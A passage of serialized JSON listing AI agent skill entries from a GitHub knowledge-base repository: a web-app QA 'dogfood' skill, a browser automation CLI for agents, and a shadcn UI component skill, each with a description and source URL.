application.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Felectron\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M7CTCBJY76688V4DCZGWFHGQ","dogfood","Systematically explore and test a web application to find bugs, UX issues, and other problems. Use when asked to \"dogfood\", \"QA\", \"exploratory test\", \"find issues\", \"bug hunt\", \"test this app\u002Fsite\u002Fplatform\", or review the quality of a web application. Produces a structured report with full reproduction evidence -- step-by-step screenshots, repro videos, and detailed repro steps for every issue -- so findings can be handed directly to the responsible teams.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fdogfood\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M7CTC4H0FFGVEAQR9PA4GA1A","agent-browser","Browser automation CLI for AI agents. Use when the user needs to interact with websites, including navigating pages, filling forms, clicking buttons, taking screenshots, extracting data, testing web apps, or automating any browser task. Triggers include requests to \"open a website\", \"fill out a form\", \"click a button\", \"take a screenshot\", \"scrape data from a page\", \"test this web app\", \"login to a site\", \"automate browser actions\", or any task requiring programmatic web interaction.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fagent-browser\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M7CTBKVFYBG78FDSABSDJTTQ","shadcn","Manages shadcn components and projects — adding, searching, fixing, debugging, styling, and composing UI, including chat interfaces. Provides project context, component docs, and usage examples. Applies when working with shadcn\u002Fui, component registries, presets, --preset codes, or any project with a components.json file. Also triggers for \"shadcn init\", \"create an app with --preset\", \"switch to --preset\", and for building a design system or applying a DESIGN.md or brand spec to shadcn\u002Fui.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-UI-界面组件\u002FYYC3-UI-界面组件-ui\u002Fskills\u002Fshadcn\u002FSKILL.md",[],[]]